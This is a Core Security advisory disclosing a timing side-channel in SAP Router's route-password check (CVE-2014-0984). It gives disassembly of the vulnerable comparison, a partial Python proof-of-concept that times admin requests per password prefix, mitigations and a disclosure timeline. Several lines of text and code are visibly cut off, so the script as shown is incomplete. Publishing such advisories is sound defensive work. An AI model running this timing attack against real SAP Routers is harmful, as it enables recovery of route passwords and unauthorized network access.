Core Security - Corelabs Advisory
SAP Router Password Timing Attack
1. *Advisory Information*
Title: SAP Router Password Timing Attack
Advisory ID: CORE-2014-0003
Date published: 2014-04-15
Date of last update: 2014-03-06
Vendors contacted: SAP
Release mode: Coordinated release
2. *Vulnerability Information*
Class: Information Exposure Through Timing Discrepancy [CWE-208]
Impact: Security bypass
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2014-0984
3. *Vulnerability Description*
SAP Router  is an application-level gateway used to
connect systems in a SAP infrastructure. A vulnerability
have been found in SAP Router that could allow an unauthenticated
remote attacker to obtain passwords used to protect route entries
timing side-channel attack.
4. *Vulnerable Packages*
. SAP Router release 721 patch level 117.
. SAP Router release 720 patch level 411.
. SAP Router release 710 patch level 029.
. Other versions are probably affected too, but they were not checked.
5. *Vendor Information, Solutions and Workarounds*
SAP released the security note
regarding these issues. Contact SAP for further information.
Martin Gallo proposed the following actions to mitigate the
impact of the vulnerabilities:
1. Disable the use of passwords on the Route Permission Table .
2. Enforce the use of SNC (Secure Network Communications) as an
authentication mechanism for securing routes.
This vulnerability was discovered and researched by Martin Gallo
Security Consulting Services. The publication of this advisory was
coordinated by Fernando Miranda from Core Advisories Team.
7. *Technical Description / Proof of Concept Code*
SAP Router permits and/or forbids networks connections based on a
Route Permission Table . Entries in the
Route Permission Table can have a password. If a password is
for a given entry in the Route Permission Table, SAP Router checks
the user-supplied password matches with the one in the Route
Table entry before permitting a connection.
The vulnerable function 'passwordCheck'
performs a non-constant time string comparison for checking the
user-supplied password against the on in the Route Permission Table.
On the first non-matched character, the string comparison function
immediately interrupts the evaluation cycle, which may let an
attacker perform timing attacks.
The following snippet shows an excerpt of the vulnerable code
.text:0000000140005BE0 loc_140005BE0: ; CODE
.text:0000000140005BE0 movzx ecx, byte ptr [rdi] ; rdi
points to the routtab password
.text:0000000140005BE3 movzx eax, byte ptr [rdi+rsi] ;
rdi+rsi points to the user-supplied password
.text:0000000140005BE7 sub ecx, eax
.text:0000000140005BE9 jnz short loc_140005BF3 ;
password check failed
.text:0000000140005BEB add rdi, 1
.text:0000000140005BEF test eax, eax
.text:0000000140005BF1 jnz short loc_140005BE0
.text:0000000140005BF3 loc_140005BF3: ; CODE
.text:0000000140005BF3 test ecx, ecx
.text:0000000140005BF5 jz short loc_140005C3F
.text:0000000140005BF7 cmp cs:trace_level, 1
.text:0000000140005BFE jl short loc_140005C38
.text:0000000140005C00 call DpLock
.text:0000000140005C05 mov rcx, cs:qword_140273BC0
.text:0000000140005C0C lea r8, aPasswordcheck ;
.text:0000000140005C13 lea rdx, aSPasswordCheck ;
"%s: password check failed\n"
.text:0000000140005C1A mov cs:dword_1401ADAA4, 1
.text:0000000140005C24 call DpTrace
.text:0000000140005C29 loc_140005C29: ; CODE
.text:0000000140005C29 mov cs:dword_1401ADAA4, 2
.text:0000000140005C33 call DpUnlock
.text:0000000140005C38 loc_140005C38: ; CODE
.text:0000000140005C38 mov eax, 0FFFFFFA2h
.text:0000000140005C3D jmp short loc_140005C41
.text:0000000140005C3F loc_140005C3F: ; CODE
.text:0000000140005C3F xor eax, eax ;
password check succeeded
7.1. *Proof of Concept*
## pysap - Python library for crafting SAP's network protocols packets
## Copyright (C) 2014 Core Security Technologies
## The library was designed and developed by Martin Gallo from the Security
## Consulting Services team of Core Security Technologies.
## This program is free software; you can redistribute it and/or
## modify it under the terms of the GNU General Public License
## as published by the Free Software Foundation; either version 2
## of the License, or (at your option) any later version.
## This program is distributed in the hope that it will be useful,
## but WITHOUT ANY WARRANTY; without even the implied warranty of
## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
## GNU General Public License for more details.
# Standard imports
from optparse import OptionParser, OptionGroup
# External imports
from scapy.config import conf
from scapy.supersocket import socket
# Custom imports
from pysap.SAPNI import SAPNI, SAPNIStreamSocket
from pysap.SAPRouter import SAPRouter, router_is_control
# Set the verbosity to 0
conf.verb = 0
# Command line options parser
description = \
"""This example script connects with a SAP Router service and makes an
information request using a provided password. It then records the
time the remote service takes to respond to the request. Further
of the time records could be performed in order to identify whether the
server is vulnerable to a timing attack on the password check.
epilog = \
usage = "Usage: %prog [options] -d <remote host>"
parser = OptionParser(usage=usage, description=description,
target = OptionGroup(parser, "Target")
target.add_option("-d", "--remote-host", dest="remote_host",
help="Remote host [%default]", default="127.0.0.1")
target.add_option("-p", "--remote-port", dest="remote_port",
type="int", help="Remote port [%default]", default=3299)
type="int", help="SAP Router version to use [retrieve from the remote
misc = OptionGroup(parser, "Misc options")
misc.add_option("-t", "--tries", dest="tries", default=10,
type="int", help="Amount of tries to make for each length [%default]")
misc.add_option("--password", dest="password", default="password",
help="Correct password to test")
misc.add_option("-o", "--output", dest="output",
default="output.csv", help="Output file [%default]")
misc.add_option("-v", "--verbose", dest="verbose",
action="store_true", default=False, help="Verbose output [%default]")
(options, _) = parser.parse_args()
if not options.remote_host:
parser.error("Remote host is required")
# Retrieve the version of the remote SAP Router
r = connection.sr(SAPRouter(type=SAPRouter.SAPROUTER_CONTROL,
if router_is_control(r) and r.opcode == 2:
def try_password(options, password, output=None, k=0):
p = SAPRouter(type=SAPRouter.SAPROUTER_ADMIN,
p.adm_command = 2
p.adm_password = password
p = str(SAPNI() / p)
fau_timer.send_request(options.remote_host, options.remote_port, p,
cpuSpeed = fau_timer.get_speed()
cpuTicks = fau_timer.get_cpu_ticks()
time = fau_timer.get_time()
print "Request time: CPU Speed: %s Hz CPU Ticks: %s Time: %s
nanosec" % (cpuSpeed, cpuTicks, time)
# Write the time to the output file
output.write("%i,%s,%s\n" % (k, password, time))
# Main function
options = parse_options()
# Initiate the connection
sock = socket.socket()
conn = SAPNIStreamSocket(sock)
print "[*] Connected to the SAP Router %s:%d" %
# Retrieve the router version used by the server if not specified
if options.router_version is None:
options.router_version = get_router_version(conn)
print "[*] Using SAP Router version %d" % options.router_version
print "[*] Checking if the server is vulnerable to a timing attack ..."
with open(options.output, "w") as f:
c = 0
for i in range(0, len(options.password) + 1):
password = options.password[:i] + "X" *
(len(options.password) - i)
print "[*] Trying with password (%s) len %d" % (password,
for _ in range(0, options.tries):
try_password(options, password, f, c)
c += 1
if __name__ == "__main__":
8. *Report Timeline*
Initial notification sent to SAP, including technical description
to reproduce the vulnerability. Publication date set to March
Vendor notifies that the tracking number 1068415-2014 was
created for this issue.
Vendor notifies that they will not be able to provide
a fix for the reported issue for the tentative release date,
and ask for delaying the advisory publication.
Vendor notifies that they currently do not see it as a
and asks for additional technical details.
Core sends additional information regarding how to exploit this
solving the network letency and other practical issues.
on this topic were also included ,
Vendor notifies that they will make changes for mitigating
Vendor also notifies that they usually release security fixes
on Patch Days (every second Tuesday per month), and April 8th
or May 13th seems much more realistic dates for releasing fixes.
Vendor requests pushing the advisory release until May 13th.
Core re-schedules the advisory publication for May 13th.
First release date missed.
Core re-schedules the advisory publication for April 8th.
Core sends a Proof of Concept and aditional technical information.
SAP notifies that they have released the security note 1986895
 on April Patch Day 2014.
Core notifies that the advisory is going to be re-schedule for
the 15 of April.
Advisory CORE-2014-0003 published.
SAP security note 1986895
10. *About CoreLabs*
CoreLabs, the research center of Core Security Technologies, is
charged with anticipating
the future needs and requirements for information security
We conduct our research in several important areas of computer security
including system vulnerabilities, cyber attack planning and simulation,
source code auditing, and cryptography. Our results include problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies. CoreLabs regularly publishes security
advisories, technical papers, project information and shared software
tools for public use at:
11. *About Core Security Technologies*
Core Security Technologies enables organizations to get ahead of threats
with security test and measurement solutions that continuously identify
and demonstrate real-world exposures to their most critical assets. Our
customers can gain real visibility into their security standing, real
validation of their security controls, and real metrics to more
effectively secure their organizations.
Core Security's software solutions build on over a decade of trusted
research and leading-edge threat expertise from the company's Security
Consulting Services, CoreLabs and Engineering groups. Core Security
Technologies can be reached at +1 (617) 399-6980 or on the Web at:
The contents of this advisory are copyright
(c) 2014 Core Security Technologies and (c) 2014 CoreLabs,
and are licensed under a Creative Commons
Attribution Non-Commercial Share-Alike 3.0 (United States) License:
13. *PGP/GPG Keys*
This advisory has been signed with the GPG key of Core Security
advisories team, which is available for download at